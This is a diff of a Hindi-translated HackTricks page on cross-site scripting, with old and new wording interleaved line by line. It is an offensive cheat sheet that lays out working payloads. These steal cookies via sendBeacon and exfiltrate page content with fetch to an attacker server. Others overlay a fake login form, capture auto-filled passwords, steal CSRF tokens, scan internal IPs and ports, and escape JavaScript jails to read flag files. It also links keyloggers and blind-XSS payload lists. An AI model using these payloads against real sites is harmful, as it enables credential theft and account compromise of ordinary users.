|
||||
जब कुछ इस प्रकार से **`"कुछ {{टेम्पलेट}} डेटा".replace("{{टेम्पलेट}}", <उपयोगकर्ता_इनपुट>)`** का उपयोग किया जाता है। हमलावार [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) का उपयोग कर सकते हैं कुछ सुरक्षा को छलने के लिए: ``"123 {{टेम्पलेट}} 456".replace("{{टेम्पलेट}}", JSON.stringify({"नाम": "$'$`alert(1)//"}))``
|
||||
जब कुछ इस प्रकार से **`"कुछ {{टेम्पलेट}} डेटा".replace("{{टेम्पलेट}}", <उपयोगकर्ता_इनपुट>)`** का उपयोग किया जाता है। हमलावार [**विशेष स्ट्रिंग प्रतिस्थापन**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) का उपयोग कर सकते हैं ताकि कुछ सुरक्षा को छलना किया जा सके: ``"123 {{टेम्पलेट}} 456".replace("{{टेम्पलेट}}", JSON.stringify({"नाम": "$'$`alert(1)//"}))``
|
||||
|
||||
उदाहरण के लिए [**इस लेखन**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) में इसका उपयोग किया गया था **एक स्क्रिप्ट के भीतर एक JSON स्ट्रिंग को छलना** और विभिन्न कोड को क्रियाशील करने के लिए।
|
||||
|
||||
### Chrome कैश से XSS
|
||||
### Chrome Cache से XSS तक
|
||||
|
||||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### XS Jails Escape
|
||||
### XS Jails भागना
|
||||
|
||||
यदि आपके पास केवल उपयोग करने के लिए सीमित वर्ण सेट है, तो XSJail समस्याओं के लिए इन अन्य मान्य समाधानों की जांच करें:
|
||||
यदि आपके पास केवल उपयोग करने के लिए सीमित संख्या में वर्ण हैं, तो XSJail समस्याओं के लिए इन अन्य मान्य समाधानों की जांच करें:
|
||||
```javascript
|
||||
// eval + unescape + regex
|
||||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||||
|
@ -961,25 +961,27 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
यदि **सभी चीजें अपरिभाषित** होती हैं पहले अविश्वसनीय कोड को निष्पादित करने से (जैसे कि [**इस लेख**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves) में) यह संभव है कि उपयोगी ऑब्जेक्ट्स "कुछ से कुछ" उत्पन्न किए जा सकते हैं ताकि अर्बिट्रे अविश्वसनीय कोड के निष्पादन का दुरुपयोग किया जा सके:
|
||||
अगर **सभी चीजें अपरिभाषित** होती हैं पहले अविश्वसनीय कोड को निष्पादित करने से (जैसे कि [**इस व्रिटअप**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) यह संभव है कि उपयोगी ऑब्जेक्ट्स "खाली से" उत्पन्न किए जा सकते हैं ताकि अर्बिट्रे अविश्वसनीय कोड के निष्पादन का दुरुपयोग किया जा सके:
|
||||
|
||||
* `import()` का उपयोग
|
||||
* import() का उपयोग
|
||||
```javascript
|
||||
// although import "fs" doesn’t work, import('fs') does.
|
||||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||||
```
|
||||
* अप्रत्यक्ष रूप से `require` तक पहुंचना
|
||||
|
||||
[इसके अनुसार](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) मॉड्यूल्स को नोड.जेएस द्वारा एक फ़ंक्शन के भीतर लपेटा जाता है, जैसे:
|
||||
[इसके अनुसार](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) मॉड्यूल Node.js द्वारा एक फ़ंक्शन के भीतर लपेटे जाते हैं, जैसे:
|
||||
```javascript
|
||||
(function (exports, require, module, __filename, __dirname) {
|
||||
// our actual module code
|
||||
});
|
||||
```
|
||||
इसलिए, अगर हम उस मॉड्यूल से **एक और फ़ंक्शन को कॉल कर सकते हैं**, तो उस फ़ंक्शन से **`require`** तक पहुंचने के लिए `arguments.callee.caller.arguments[1]` का उपयोग करना संभव है:
|
||||
इसलिए, अगर हम उस मॉड्यूल से **एक और फ़ंक्शन कॉल** कर सकते हैं, तो उस फ़ंक्शन से **`require`** तक पहुँचने के लिए `arguments.callee.caller.arguments[1]` का उपयोग करना संभव है:
|
||||
```javascript
|
||||
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
एक समान तरीके से पिछले उदाहरण की तरह, **त्रुटि हैंडलर** का उपयोग करके मॉड्यूल के **रैपर** तक पहुंचना संभव है और **`require`** फ़ंक्शन प्राप्त करना है:
|
||||
```javascript
|
||||
try {
|
||||
|
@ -1083,7 +1085,7 @@ trigger()
|
|||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||
```
|
||||
{% hint style="info" %}
|
||||
यदि कुकी में HTTPOnly फ्लैग सेट है तो जावास्क्रिप्ट से कुकी तक पहुंच नहीं पाएंगे। लेकिन यदि आप भाग्यशाली हैं तो यहाँ [इस सुरक्षा को दौर करने के कुछ तरीके](../hacking-with-cookies/#httponly) हैं।
|
||||
यदि कुकी में HTTPOnly फ्लैग सेट है तो जावास्क्रिप्ट से कुकी तक पहुंच नहीं पाएंगे। लेकिन यदि आप भाग्यशाली हैं तो आपके पास [इस सुरक्षा को दौर करने के कुछ तरीके](../hacking-with-cookies/#httponly) हैं।
|
||||
{% endhint %}
|
||||
|
||||
### पृष्ठ सामग्री चुराना
|
||||
|
@ -1099,7 +1101,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
|
|||
xhr.open('GET', url, true);
|
||||
xhr.send(null);
|
||||
```
|
||||
### आंतरिक आईपी पता लगाएं
|
||||
### आंतरिक आईपी पते खोजें
|
||||
```html
|
||||
<script>
|
||||
var q = []
|
||||
|
@ -1164,7 +1166,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
};
|
||||
}
|
||||
```
|
||||
_छोटे समय का मतलब है कि एक पोर्ट प्रतिक्रिया दे रहा है_ _अधिक समय का मतलब है कि कोई प्रतिक्रिया नहीं है।_
|
||||
_छोटे समय किसी पोर्ट का प्रतिक्रिया देने का संकेत देते हैं_ _अधिक समय कोई प्रतिक्रिया नहीं देता है।_
|
||||
|
||||
Chrome में प्रतिबंधित पोर्टों की सूची की समीक्षा [**यहाँ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) और Firefox में [**यहाँ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)।
|
||||
|
||||
|
@ -1172,7 +1174,7 @@ Chrome में प्रतिबंधित पोर्टों की स
|
|||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### ऑटो-भरना पासवर्ड को दर्ज करें
|
||||
### ऑटो-भरना पासवर्ड कैप्चर
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
@ -1183,16 +1185,16 @@ mode: 'no-cors',
|
|||
body:username.value+':'+this.value
|
||||
});">
|
||||
```
|
||||
जब भी कोई डेटा पासवर्ड फील्ड में दर्ज किया जाता है, तो उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड हमलावर के सर्वर पर भेजा जाता है, यदि उपयोगकर्ता कोई सहेजा हुआ पासवर्ड चुनता है और कुछ नहीं लिखता है तो प्रमाण-पत्र निकाल दिया जाएगा।
|
||||
जब भी कोई डेटा पासवर्ड फील्ड में दर्ज किया जाता है, तो उपयोगकर्ता का उपयोगकर्ता नाम और पासवर्ड हमलावर के सर्वर पर भेजा जाता है, यदि उपयोगकर्ता कोई सहेजा हुआ पासवर्ड चुनता है और कुछ नहीं लिखता है तो प्रमाणपत्र बाहरी किया जाएगा।
|
||||
|
||||
### कीलॉगर
|
||||
|
||||
गिथब में खोज करते समय मैंने कुछ विभिन्न विकल्प पाए:
|
||||
गिथब में खोज करते समय मैंने कुछ विभिन्न पाये:
|
||||
|
||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
* [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
|
||||
* आप मेटास्प्लॉइट भी उपयोग कर सकते हैं `http_javascript_keylogger`
|
||||
* आप भी metasploit का उपयोग कर सकते हैं `http_javascript_keylogger`
|
||||
|
||||
### CSRF टोकन चुराना
|
||||
```javascript
|
||||
|
@ -1217,7 +1219,7 @@ window.onmessage = function(e){
|
|||
document.getElementById("message").src += "&"+e.data;
|
||||
</script>
|
||||
```
|
||||
### वेब सेवा वर्कर्स का दुरुपयोग
|
||||
### वेब सेवाओं का दुरुपयोग
|
||||
|
||||
{% content-ref url="abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](abusing-service-workers.md)
|
||||
|
@ -1233,7 +1235,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### ब्लाइंड एक्सएसएस पेलोड्स
|
||||
### ब्लाइंड XSS payloads
|
||||
|
||||
आप यह भी उपयोग कर सकते हैं: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
@ -1277,7 +1279,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
```
|
||||
### Regex - छिपी हुई सामग्री तक पहुंचें
|
||||
|
||||
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से पता चलता है कि यदि कुछ मान JS से गायब हो जाएं, तो उन्हें अलग-अलग ऑब्जेक्ट्स में JS एट्रिब्यूट्स में ढूंढ़ना भी संभव है। उदाहरण के लिए, एक REGEX के इनपुट को हटाने के बाद भी इसे ढूंढ़ना संभव है:
|
||||
[**इस लेख**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) से पता चलता है कि यदि कुछ मान JS से गायब हो जाएं, तो उन्हें अलग-अलग ऑब्जेक्ट्स में JS एट्रिब्यूट्स में ढूंढना भी संभव है। उदाहरण के लिए, एक REGEX का इनपुट हटाने के बाद भी इसे ढूंढना संभव है:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1296,7 +1298,7 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
|
||||
|
||||
## XSS अन्य सुरक्षा दोषों का दुरुपयोग
|
||||
## अन्य सुरक्षा दोषों का दुरुपयोग करने वाला XSS
|
||||
|
||||
### मार्कडाउन में XSS
|
||||
|
||||
|
@ -1308,17 +1310,17 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### XSS से SSRF तक
|
||||
|
||||
क्या आपके पास **कैशिंग का उपयोग करने वाली साइट पर XSS** है? इस पेडलोड के साथ **SSRF में उन्नति का प्रयास करें** एज साइड इंक्लूड इंजेक्शन के माध्यम से:
|
||||
क्या आपके पास **कैशिंग का उपयोग करने वाली साइट पर XSS** है? इस पेलोड के साथ **Edge Side Include Injection के माध्यम से उसे SSRF में अपग्रेड करने का प्रयास करें:**
|
||||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
इसका उपयोग कुकी प्रतिबंध, XSS फ़िल्टर और बहुत कुछ छलकरने के लिए करें!\
|
||||
इसका उपयोग कुकी प्रतिबंध, XSS फ़िल्टर और बहुत कुछ अनदेखा करने के लिए करें!\
|
||||
इस तकनीक के बारे में अधिक जानकारी यहाँ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### डायनामिक बनाए गए PDF में XSS
|
||||
|
||||
यदि एक वेब पृष्ठ उपयोगकर्ता नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बॉट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है और **अर्बिट्रे JS कोड को निष्पादित** करने में।\
|
||||
तो, अगर **PDF निर्माता बॉट** कोई प्रकार के **HTML** **टैग** पाता है, तो वह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का **दुरुपयोग** करके एक **सर्वर XSS** का कारण बना सकते हैं।
|
||||
यदि एक वेब पृष्ठ उपयोगकर्ता नियंत्रित इनपुट का उपयोग करके एक PDF बना रहा है, तो आप **बोट को धोखा देने** की कोशिश कर सकते हैं जो PDF बना रहा है को **विभिन्न JS कोड को क्रियान्वित** करने में।\
|
||||
इसलिए, यदि **PDF निर्माता बोट** कोई प्रकार के **HTML** **टैग** पाता है, तो वह उन्हें **व्याख्या** करेगा, और आप इस व्यवहार का दुरुपयोग करके एक **सर्वर XSS** का कारण बना सकते हैं।
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
|
@ -1330,17 +1332,17 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
[pdf-injection.md](pdf-injection.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Amp4Email में XSS
|
||||
### एम्पफॉरईमेल में XSS
|
||||
|
||||
AMP, जो मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेजी से बढ़ाने का लक्ष्य रखता है, HTML टैगों को जावास्क्रिप्ट के साथ संपूर्ण करता है ताकि फ़ंक्शनैलिटी को गति और सुरक्षा के माध्यम से सुनिश्चित किया जा सके। यह विभिन्न सुविधाओं के लिए विभिन्न विशेषताएँ समर्थित करता है, जिन्हें [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से पहुंचाया जा सकता है।
|
||||
AMP, मोबाइल उपकरणों पर वेब पृष्ठ प्रदर्शन को तेज करने का उद्देश्य रखता है, जिसमें HTML टैग जोड़े गए जावास्क्रिप्ट के साथ फ़ंक्शनैलिटी सुनिश्चित करने के लिए हैं जिसमें गति और सुरक्षा पर जोर दिया गया है। यह विभिन्न सुविधाओं के लिए विभिन्न घटकों का समर्थन करता है, जिनका उपयोग [AMP components](https://amp.dev/documentation/components/?format=websites) के माध्यम से किया जा सकता है।
|
||||
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप ईमेल के लिए विशेष AMP components को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ताओं को उनके ईमेल के अंदर सीधे सामग्री के साथ बातचीत करने की सुविधा मिलती है।
|
||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) प्रारूप ईमेल के लिए विशेष AMP घटकों को ईमेल में विस्तारित करता है, जिससे प्राप्तकर्ताओं को अपने ईमेल के अंदर सीधे सामग्री के साथ बातचीत करने की संभावना होती है।
|
||||
|
||||
उदाहरण [**Gmail में Amp4Email में XSS लेखन**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
### फ़ाइलें अपलोड करते समय XSS (svg)
|
||||
|
||||
निम्नलिखित तरह की फ़ाइल के रूप में एक छवि के रूप में अपलोड करें (से [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
निम्नलिखित फ़ाइल जैसे एक छवि के रूप में फ़ाइल अपलोड करें (से [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
|
||||
```markup
|
||||
Content-Type: multipart/form-data; boundary=---------------------------232181429808
|
||||
Content-Length: 574
|
||||
|
@ -1412,22 +1414,22 @@ id="foo"/>
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और बोली जानी चाहिए_).
|
||||
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - **हम नियुक्ति कर रहे हैं!** (_चुस्त पोलिश लिखने और बोलने की आवश्यकता है_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
||||
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
||||
|
||||
</details>
|
||||
|
|